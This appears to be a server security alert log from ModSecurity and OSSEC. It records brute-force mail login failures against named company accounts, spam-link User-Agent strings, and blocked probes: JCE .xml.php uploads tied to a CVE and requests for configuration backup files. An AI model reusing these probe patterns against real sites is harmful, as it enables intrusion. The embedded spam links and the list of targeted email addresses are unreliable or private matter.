name: IM360 WAF: Rogue web site crawler
abuser: 103.87.142.137
country_id: 1269750
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://delhi.delhihotelsqueen.com/call-girl-in-faridabad.html\">Faridabad call girls</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.235.133.112
country_id: 2589581
domain: www.ogocindia.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ogocindia.com/company-profile/7-our-values HTTP/1.1||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.116.117.203
country_id: 2921044
description:
2026-07-09 20:03:15 dovecot_login authenticator failed for H=([125.35.109.214]) [51.116.117.203]:2005: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 n\xc3\xa2ng cao n\xc4\x83ng su\xe1\xba\xa5t c\xc3\xa0 ph\xc3\xaa (<a href=\"http://wikipeter.dk/wiki160316/index.php?title=Bruger:TimUom18360459\">http://wikipeter.dk/wiki160316/index.php?title=Bruger:TimUom18360459</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.135.208.13
country_id: 1861060
description:
2026-07-09 20:03:53 dovecot_login authenticator failed for H=([146.56.225.248]) [212.135.208.13]:36968: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://ai.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.147.250
country_id: 1733045
description:
2026-07-09 20:07:17 dovecot_login authenticator failed for H=([103.130.207.227]) [49.124.147.250]:53096: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.41.207.112
country_id: 953987
description:
2026-07-09 20:06:53 dovecot_login authenticator failed for H=([196.190.180.18]) [196.41.207.112]:42182: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.114.8
country_id: 1668284
description:
2026-07-09 20:08:57 dovecot_login authenticator failed for H=110-25-114-8.adsl.fetnet.net ([192.111.137.33]) [110.25.114.8]:48222: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.219.149.74
country_id: 2328926
description:
2026-07-09 20:09:43 dovecot_login authenticator failed for H=(187.058.067.17.static.host.gvt.net.br) [41.219.149.74]:62178: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.149.239
country_id: 99237
description:
2026-07-09 20:10:03 dovecot_login authenticator failed for H=(aes-static-225.77.144.59.airtel.in) [65.20.149.239]:41094: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.122
country_id: 1269750
description:
2026-07-09 20:10:31 dovecot_login authenticator failed for H=([49.124.159.195]) [182.95.176.122]:50750: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.237.191
country_id: 99237
description:
2026-07-09 20:10:46 dovecot_login authenticator failed for H=([142.54.225.52]) [65.20.237.191]:35534: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.118.224.138
country_id: 1835841
description:
2026-07-09 20:11:31 dovecot_login authenticator failed for H=([121.131.220.137]) [210.118.224.138]:53595: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.192.211.180
country_id: 1269750
description:
2026-07-09 20:11:04 dovecot_login authenticator failed for H=([162.244.51.222]) [203.192.211.180]:52112: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.116.117.203
country_id: 2921044
description:
2026-07-09 20:16:40 dovecot_login authenticator failed for H=([218.156.93.206]) [51.116.117.203]:52187: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 196.247.225.211
country_id: 2623032
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 \xe0\xb8\xa2\xe0\xb8\xb9\xe0\xb8\x9f\xe0\xb9\x88\xe0\xb8\xb2 \xe0\xb9\x80\xe0\xb8\x99\xe0\xb8\x8a\xe0\xb8\xb1\xe0\xb9\x88\xe0\xb8\x99\xe0\xb8\xaa\xe0\xb9\x8c\xe0\xb8\xa5\xe0\xb8\xb5\xe0\xb8\x81 [<a href=\"https://www.bankeela.com/lotto/350741/\">https://www.bankeela.com/</a>] (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 111.90.184.28
country_id: 1831722
description:
[2026-07-09 20:22:31 +0530] info [whostmgrd] 111.90.184.28 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.84
country_id: 1835841
description:
2026-07-09 20:28:14 dovecot_login authenticator failed for H=(undefined.hostname.localhost) [183.104.220.84]:44688: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.119.184.40
country_id: 1210997
description:
2026-07-09 20:28:40 dovecot_login authenticator failed for H=(203.92.36.109.reverse.spectranet.in) [157.119.184.40]:40032: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.109.138
country_id: 1269750
description:
2026-07-09 20:29:03 dovecot_login authenticator failed for H=(51.241.220.60.adsl-pool.sx.cn) [182.95.109.138]:59478: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.30
country_id: 1668284
description:
2026-07-09 20:30:26 dovecot_login authenticator failed for H=(c193-181-50-89.customer.arkaden.se) [101.13.5.30]:38704: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.71.9.31
country_id: 1835841
description:
2026-07-09 20:30:40 dovecot_login authenticator failed for H=([142.54.231.33]) [180.71.9.31]:41480: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.44.23
country_id: 2661886
description:
2026-07-09 20:30:58 dovecot_login authenticator failed for H=78-66-44-23-no2550.tbcn.telia.com ([59.8.7.253]) [78.66.44.23]:54696: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.226.138
country_id: 1269750
description:
2026-07-09 20:31:37 dovecot_login authenticator failed for H=(activox.static.gvt.net.br) [182.95.226.138]:54364: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.210.107.161
country_id: 294640
description:
2026-07-09 20:31:16 dovecot_login authenticator failed for H=([59.152.12.212]) [46.210.107.161]:59047: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.1.58
country_id: 1668284
description:
2026-07-09 20:33:25 dovecot_login authenticator failed for H=([58.34.62.66]) [101.13.1.58]:34838: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.246
country_id: 1036973
description:
2026-07-09 20:33:15 dovecot_login authenticator failed for H=([146.56.225.248]) [197.219.228.246]:58792: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.29.132
country_id: 1668284
description:
2026-07-09 20:33:01 dovecot_login authenticator failed for H=111-70-29-132.emome-ip.hinet.net ([106.112.194.160]) [111.70.29.132]:44662: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 163.61.33.117
country_id: 1269750
description:
2026-07-09 20:34:10 dovecot_login authenticator failed for H=([102.204.203.245]) [163.61.33.117]:49302: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.228.149
country_id: 1835841
description:
2026-07-09 20:33:56 dovecot_login authenticator failed for H=(136.151.48.116.static.netvigator.com) [218.149.228.149]:52581: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.140
country_id: 2921044
description:
2026-07-09 20:34:26 dovecot_login authenticator failed for H=(nsg-static-161.174.76.182-airtel.com) [94.16.17.140]:35530: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 109.120.132.142
country_id: 2661886
domain: elegantautomotives.com
description:
IM360 WAF: Bad file extension||RSV:8.27||T:APACHE||MVN:REQUEST_FILENAME||MV:/language/en-GB/en-GB.astroid.ini||User:elegantautomotiv||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.198.175.22
country_id: 1835841
description:
2026-07-09 20:42:13 dovecot_login authenticator failed for H=([118.220.149.121]) [175.198.175.22]:39159: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.28.5
country_id: 2963597
description:
2026-07-09 20:42:33 dovecot_login authenticator failed for H=(nsg-corporate-6.249.186.122.airtel.in) [207.254.28.5]:54158: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.207.246.3
country_id: 1835841
description:
2026-07-09 20:43:41 dovecot_login authenticator failed for H=(dynamic-ip-19015713210.cable.net.co) [175.207.246.3]:45204: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.194.29
country_id: 1269750
description:
2026-07-09 20:44:11 dovecot_login authenticator failed for H=(ipmapt-72-195-34-45.oc.oc.cox.net) [49.206.194.29]:32946: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.243.186
country_id: 3017382
description:
[2026-07-09 20:51:40 +0530] info [cpaneld] 104.28.243.186 - - "GET /configuration.php.bak HTTP/1.1" FAILED LOGIN cpaneld: login attempt without username


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.243.190
country_id: 3017382
description:
[2026-07-09 20:51:36 +0530] info [cpaneld] 104.28.243.190 - - "GET /z9x8c7v6b5-debug-trigger-cpanel.ddgalaxy.in HTTP/1.1" FAILED LOGIN cpaneld: login attempt without username


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.9.143
country_id: 1668284
description:
2026-07-09 20:55:11 dovecot_login authenticator failed for H=111-70-9-143.emome-ip.hinet.net (cpc1-ersk4-2-0-cust471.know.cable.virginm.net) [111.70.9.143]:38692: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.198.42
country_id: 1269750
description:
2026-07-09 20:55:34 dovecot_login authenticator failed for H=([118.70.146.125]) [152.52.198.42]:41738: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.43.243.158
country_id: 6252001
description:
2026-07-09 20:57:00 dovecot_login authenticator failed for H=67-43-243-158.fidnet.com ([103.184.155.242]) [67.43.243.158]:52750: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.233.203.159
country_id: 2661886
description:
2026-07-09 20:57:21 dovecot_login authenticator failed for H=89-233-203-159.cust.bredband2.com (customer.sntochl1.isp.starlink.com) [89.233.203.159]:43726: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.18.115.154
country_id: 3175395
description:
2026-07-09 20:57:34 dovecot_login authenticator failed for H=([175.206.113.91]) [85.18.115.154]:44327: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.249.7.102
country_id: 3996063
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/blog/index.html HTTP/1.1||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 188.115.7.4
country_id: 2960313
domain: kallanigroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:35360.kallanigroup.com||ServerName:kallanigroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ddd86d9997aa37bc06a0b13b9214a45d85354376||Title:0xff8f50b4||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.76.16.216
country_id: 1522867
description:
2026-07-09 21:20:30 dovecot_login authenticator failed for H=([147.148.205.252]) [5.76.16.216]:60365: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://newbielearningcenter.com/google-trends/\">Xem b\xc3\xa0i vi\xe1\xba\xbft</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-07-09 21:20:42 dovecot_login authenticator failed for H=([201.203.101.30]) [175.200.217.128]:59764: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 178.210.187.26
country_id: 3277605
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"http://rvibo.com\">EXYU IPTV</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 125.166.201.188
country_id: 1643084
domain: ogocindia.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcektjms7k4.xml.php||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.122
country_id: 1269750
description:
2026-07-09 21:32:39 dovecot_login authenticator failed for H=([49.124.151.81]) [182.95.176.122]:59616: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 45.136.25.158
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.thegameroom.org/online-casinos/bonus-zonder-storting/\">Buy Ritalin fast shipping</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.94
country_id: 1036973
description:
2026-07-09 21:34:33 dovecot_login authenticator failed for H=([112.165.212.135]) [197.219.210.94]:56480: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.173.55.111
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/pure-accoustics-speakers?Itemid=101&catid=18 HTTP/1.1||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 125.166.201.188
country_id: 1643084
domain: www.ogocindia.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcevk6sxia7.xml.php||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 125.166.201.188
country_id: 1643084
domain: ibmcglobal.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce1rmgh119.xml.php||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.226.56.106
country_id: 2661886
description:
2026-07-09 21:38:51 dovecot_login authenticator failed for H=c-83-226-56-106.bbcust.telenor.se (ip6d55bd65.fixed.kabel-deutschland.de) [83.226.56.106]:38332: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.128.181.196
country_id: 357994
description:
2026-07-09 21:45:15 dovecot_login authenticator failed for H=([61.37.150.6]) [41.128.181.196]:39190: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.179.8.206
country_id: 1835841
description:
2026-07-09 21:45:31 dovecot_login authenticator failed for H=([49.125.201.77]) [210.179.8.206]:51239: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.148.192
country_id: 1733045
description:
2026-07-09 21:45:00 dovecot_login authenticator failed for H=([196.0.113.110]) [49.124.148.192]:50002: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 125.166.201.188
country_id: 1643084
domain: www.ibmcglobal.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcewb5b07o0.xml.php||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.39.124
country_id: 798544
description:
2026-07-09 21:47:42 dovecot_login authenticator failed for H=89-67-39-124.dynamic.play.pl ([194.85.69.22]) [89.67.39.124]:51000: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.50
country_id: 1269750
description:
2026-07-09 21:47:30 dovecot_login authenticator failed for H=([206.220.175.5]) [182.95.181.50]:51458: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.41.88
country_id: 1668284
description:
2026-07-09 21:47:57 dovecot_login authenticator failed for H=111-70-41-88.emome-ip.hinet.net ([98.190.239.1]) [111.70.41.88]:42462: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.34.191.39
country_id: 2635167
description:
2026-07-09 21:49:42 dovecot_login authenticator failed for H=([91.146.24.164]) [149.34.191.39]:34022: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 212.119.41.29
country_id: 294640
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://meneercasino.com/slot-reviews/wild-water\">penis enlargement for teenagers</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.40.89
country_id: 6252001
description:
2026-07-09 21:58:08 dovecot_login authenticator failed for H=(nsg-corporate-166.146.185.122.airtel.in) [207.254.40.89]:63943: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.148.190
country_id: 1733045
description:
2026-07-09 22:02:24 dovecot_login authenticator failed for H=([175.206.1.60]) [49.124.148.190]:37056: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.155.225.93
country_id: 878675
description:
2026-07-09 22:03:13 dovecot_login authenticator failed for H=([67.201.57.102]) [197.155.225.93]:45866: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.43.162
country_id: 337996
description:
2026-07-09 22:03:40 dovecot_login authenticator failed for H=([211.193.245.27]) [196.190.43.162]:55200: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.191.211.33
country_id: 6252001
description:
2026-07-09 22:03:55 dovecot_login authenticator failed for H=([124.13.235.29]) [65.191.211.33]:42166: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-09 22:04:16 dovecot_login authenticator failed for H=([98.182.171.163]) [188.122.37.97]:44866: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.116.117.203
country_id: 2921044
description:
2026-07-09 22:06:58 dovecot_login authenticator failed for H=(201-91-242-197.customer.tdatabrasil.net.br) [51.116.117.203]:21093: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.140
country_id: 2921044
description:
2026-07-09 22:07:13 dovecot_login authenticator failed for H=([223.68.163.132]) [94.16.17.140]:58874: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.45.84.119
country_id: 2589581
description:
2026-07-09 22:07:20 dovecot_login authenticator failed for H=([118.123.116.93]) [129.45.84.119]:39766: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.41.211.48
country_id: 6252001
description:
2026-07-09 22:16:17 dovecot_login authenticator failed for H=48.211.41.34.bc.googleusercontent.com (122-116-225-114.hinet-ip.hinet.net) [34.41.211.48]:47526: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.153.8
country_id: 1733045
description:
2026-07-09 22:19:45 dovecot_login authenticator failed for H=(hebei.22.121.in-addr.arpa) [49.124.153.8]:40648: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.137.230
country_id: 1269750
description:
2026-07-09 22:20:05 dovecot_login authenticator failed for H=([189.113.185.142]) [122.160.137.230]:56634: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.33.241
country_id: 1269750
description:
2026-07-09 22:26:14 dovecot_login authenticator failed for H=(wsip-184-178-172-12.rn.hr.cox.net) [128.185.33.241]:52522: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.107.172
country_id: 1668284
description:
2026-07-09 22:26:24 dovecot_login authenticator failed for H=110-25-107-172.adsl.fetnet.net ([183.171.49.144]) [110.25.107.172]:51542: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.1.58
country_id: 1668284
description:
2026-07-09 22:27:51 dovecot_login authenticator failed for H=([196.191.142.67]) [101.13.1.58]:48394: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.67
country_id: 1733045
description:
2026-07-09 22:28:05 dovecot_login authenticator failed for H=([222.246.240.162]) [49.124.151.67]:34030: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.70
country_id: 1733045
description:
2026-07-09 22:29:19 dovecot_login authenticator failed for H=([182.95.232.66]) [49.124.151.70]:43494: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.6.72.106
country_id: 1835841
description:
2026-07-09 22:30:42 dovecot_login authenticator failed for H=(ool-4576e80d.dyn.optonline.net) [59.6.72.106]:61167: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.78.148.150
country_id: 1643084
description:
2026-07-09 22:31:29 dovecot_login authenticator failed for H=([220.178.246.43]) [36.78.148.150]:47742: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.210.110
country_id: 1835841
description:
2026-07-09 22:34:17 dovecot_login authenticator failed for H=(187.058.067.17.static.host.gvt.net.br) [119.192.210.110]:42076: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.87.142.137
country_id: 1269750
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://delhi.delhihotelsqueen.com/call-girl-in-lucknow.html\">call girl in Lucknow</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.142.194
country_id: 1269750
description:
2026-07-09 22:38:55 dovecot_login authenticator failed for H=([27.24.141.95]) [122.160.142.194]:35146: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.192.112
country_id: 660013
description:
2026-07-09 22:39:02 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc0-112.dhcp.inet.fi ([178.178.222.45]) [80.223.192.112]:47342: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.0.90.82
country_id: 2077456
description:
2026-07-09 22:39:33 dovecot_login authenticator failed for H=210.0.90.82.static.nexnet.net.au ([222.186.68.153]) [210.0.90.82]:42392: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.191.211.33
country_id: 6252001
description:
2026-07-09 22:40:52 dovecot_login authenticator failed for H=(karuna.divineled.com) [65.191.211.33]:46780: 535 Incorrect authentication data (set_id=pan@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.91.173.57
country_id: 6252001
description:
2026-07-09 22:41:02 dovecot_login authenticator failed for H=168-91-173-57.s823.c3-0.eas-cbr7.atw-eas.pa.cable.rcncustomer.com (91-219-196-17.planeta.dn.ua) [168.91.173.57]:57836: 535 Incorrect authentication data (set_id=pan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.187.2
country_id: 1269750
description:
2026-07-09 22:42:22 dovecot_login authenticator failed for H=(www01.irishtitan.ul.zerolag.com) [128.185.187.2]:43706: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.241.232.14
country_id: 2921044
description:
2026-07-09 22:42:43 dovecot_login authenticator failed for H=p5df1e80e.dip0.t-ipconnect.de ([142.54.228.195]) [93.241.232.14]:36523: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.153.46.43
country_id: 1269750
description:
2026-07-09 22:44:44 dovecot_login authenticator failed for H=(188-167-156-82.dynamic.chello.sk) [202.153.46.43]:52326: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.140
country_id: 2921044
description:
2026-07-09 22:45:10 dovecot_login authenticator failed for H=([220.178.246.43]) [94.16.17.140]:40478: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.233.12.109
country_id: 2963597
description:
2026-07-09 22:45:03 dovecot_login authenticator failed for H=([49.124.151.15]) [80.233.12.109]:40235: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.52
country_id: 1668284
description:
